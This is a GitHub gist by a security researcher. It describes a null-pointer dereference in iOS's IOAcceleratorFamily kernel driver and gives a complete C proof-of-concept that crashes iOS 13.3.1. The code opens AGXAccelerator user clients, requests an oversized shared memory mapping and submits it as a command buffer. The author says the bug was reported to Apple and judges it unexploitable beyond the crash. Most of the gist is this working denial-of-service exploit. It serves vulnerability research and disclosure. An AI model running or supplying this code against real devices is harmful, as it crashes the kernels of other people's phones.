Skip to content

Instantly share code, notes, and snippets.

@Muirey03
Last active June 24, 2022 13:52
Show Gist options
  • Save Muirey03/8956c5a6e68b0b22677f27e174021013 to your computer and use it in GitHub Desktop.
Save Muirey03/8956c5a6e68b0b22677f27e174021013 to your computer and use it in GitHub Desktop.
IOAcceleratorFamily null-deref
/*
IOAcceleratorFamily null-deref:
This bug was made aware to me by this panic log:
https://www.reddit.com/r/jailbreakdevelopers/comments/dfs5cn/ios_system_panic_kernel_data_abort_very_strange/
IOAccelShared2::create_shmem() is an external method that a userspace client can call to request a shared memory mapping that
will be used by other external methods. This method verifies that the size of the requested shared memory is no greater
than 0x10000000 bytes, then registers this mapping with a unique "id" and returns the value of IOAccelDeviceShmem::getClientData()
along with the associated id back to userspace. However, this check is not always small enough to ensure that the memory can be
successfully mapped into the kernel.
IOAccelCommandQueue2::process_command_buffer() accepts userspace shared memory ids. It first validates the ids by looking up
the shared memory object associated with the id using IOAccelShared2::lookupDeviceShmem(), and bailing if it returns NULL.
It then calls IOAccelDeviceShmem2::getShmemLength() and again bails if this returns 0. It then seems to trust that this is a
valid shared memory object and fetches the kernel mapped address using IOAccelDeviceShmem2::getShmemData(), which it immediately
starts reading from.
The issue occurs when the shared memory fails to get mapped into the kernel. Given a large enough size,
IOAccelShared2::create_shmem() can create a valid shared memory object, with a non-null mapped client address and non-zero size,
that is too large to be mapped into the kernel. When IOAccelDeviceShmem2::getShmemData() is called on this object, it returns NULL.
IOAccelCommandQueue2::process_command_buffer() does not check the return value of IOAccelDeviceShmem2::getShmemData(), and will
trigger a kernel panic due to a null pointer dereference that happens when it attempts to read from the shared memory.
Here is a simple proof-of-concept that causes a kernel panic on iOS 13.3.1 by requesting shared memory of size 0x10000000, which
is large enough to cause the mapping to fail, then passing it to IOAccelCommandQueue2::s_submit_command_buffers(), which
eventually passes it to IOAccelCommandQueue2::process_command_buffer().
This issue has been reported to Apple, but as it is unexploitable, will not be assigned a CVE and will not appear in any
security notes.
*/
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#pragma mark Macros
#define SERVICE_NAME "AGXAccelerator"
//User client types:
#define AGXCommandQueue_type 4 /* iOS 12: 5, iOS 13: 4 */
#define AGXSharedUserClient_type 2
//External method selectors:
#define sel_set_notification_port 0
#define sel_submit_command_buffers 1
#define sel_create_shmem 5
#define sel_destroy_shmem (sel_create_shmem + 1)
#define ERR(...) do { \
NSLog(@"ERROR - " __VA_ARGS__); \
exit(EXIT_FAILURE); \
} while (0)
#pragma mark Structures
struct command_buffers_header
{
uint32_t unknown;
uint32_t bufferCount;
} __attribute__((packed));
struct command_buffer
{
uint32_t cmdBufferShmemId;
uint32_t segListShmemId;
uint64_t notify1;
uint64_t notify2;
} __attribute__((packed));
struct shmem_info
{
void* base;
uint32_t size;
uint32_t shmemId;
} __attribute__((packed));
#pragma mark Functions
io_service_t getService(const char* name)
{
io_service_t servicePort = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(name));
if (servicePort != MACH_PORT_NULL)
return servicePort;
servicePort = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching(name));
if (servicePort != MACH_PORT_NULL)
return servicePort;
servicePort = IOServiceGetMatchingService(kIOMasterPortDefault, IOBSDNameMatching(kIOMasterPortDefault, 0, name));
return servicePort;
}
void agx_set_notification_port(io_connect_t client, IONotificationPortRef notificationRef)
{
mach_port_t notificationPort = IONotificationPortGetMachPort(notificationRef);
io_async_ref64_t asyncRef = {0};
kern_return_t kr = IOConnectCallAsyncScalarMethod( client, sel_set_notification_port,
notificationPort, asyncRef, 3,
NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS)
ERR("set_notification_port failed: %s (%d)", mach_error_string(kr), kr);
}
struct shmem_info agx_create_shmem(io_connect_t sharedClient, uint32_t size)
{
uint64_t input[] = { (uint64_t)size };
struct shmem_info info;
size_t output_size = sizeof(info);
kern_return_t kr = IOConnectCallMethod( sharedClient, sel_create_shmem,
input, 1, NULL, 0,
NULL, NULL, (void*)&info, &output_size);
if (kr != KERN_SUCCESS)
ERR("create_shmem failed: %s (%d)", mach_error_string(kr), kr);
return info;
}
void agx_destroy_shmem(io_connect_t sharedClient, uint32_t shmemId)
{
uint64_t input[] = { (uint64_t)shmemId };
kern_return_t kr = IOConnectCallMethod( sharedClient, sel_destroy_shmem,
input, 1, NULL, 0,
NULL, NULL, NULL, NULL);
if (kr != KERN_SUCCESS)
ERR("destroy_shmem failed: %s (%d)", mach_error_string(kr), kr);
}
void agx_submit_command_buffers(io_connect_t client, uint32_t bufferCount, void* inputStruct, size_t inputStructSz)
{
kern_return_t kr = IOConnectCallMethod( client, sel_submit_command_buffers,
NULL, 0, inputStruct, inputStructSz,
NULL, NULL, NULL, NULL);
if (kr != KERN_SUCCESS)
ERR("submit_command_buffers failed: %s (%d)", mach_error_string(kr), kr);
free(inputStruct);
}
void triggerDeref(io_connect_t sharedClient, io_connect_t client)
{
//create a shared memory mapping:
const uint32_t shmemSize = 0x10000000;
struct shmem_info shmem = agx_create_shmem(sharedClient, shmemSize);
//setup submit_command_buffers input:
const size_t bufferCount = 1;
size_t inputStructSz = sizeof(struct command_buffers_header) + (bufferCount * sizeof(struct command_buffer));
void* inputStruct = malloc(inputStructSz);
memset(inputStruct, 0, inputStructSz);
struct command_buffers_header* hdr = (struct command_buffers_header*)inputStruct;
hdr->bufferCount = bufferCount;
struct command_buffer* command_buffers = (struct command_buffer*)(hdr + 1);
for (uint32_t i = 0; i < bufferCount; i++)
{
command_buffers[i].cmdBufferShmemId = shmem.shmemId;
command_buffers[i].segListShmemId = shmem.shmemId;
}
//trigger the deref:
agx_submit_command_buffers(client, bufferCount, inputStruct, inputStructSz);
//cleanup (shouldn't be necessary as the kernel should have panicked by now):
agx_destroy_shmem(sharedClient, shmem.shmemId);
}
void poc(void)
{
//get service port:
io_service_t service = getService(SERVICE_NAME);
if (!service)
ERR("Unable to find service");
//open AGXSharedUserClient connection:
io_connect_t sharedClient;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), AGXSharedUserClient_type, &sharedClient);
if (kr != KERN_SUCCESS || !sharedClient)
ERR("Unable to open AGXSharedUserClient");
//open AGXCommandQueue connection:
io_connect_t client;
kr = IOServiceOpen(service, mach_task_self(), AGXCommandQueue_type, &client);
if (kr != KERN_SUCCESS || !client)
ERR("Unable to open AGXCommandQueue");
//inform AGXSharedUserClient of AGXCommandQueue connection:
IOConnectAddClient(client, sharedClient);
//first ready the client for the buffers:
IONotificationPortRef notificationRef = IONotificationPortCreate(kIOMasterPortDefault);
agx_set_notification_port(client, notificationRef);
//trigger bug:
triggerDeref(sharedClient, client);
//cleanup:
IOServiceClose(client);
IOObjectRelease(service);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment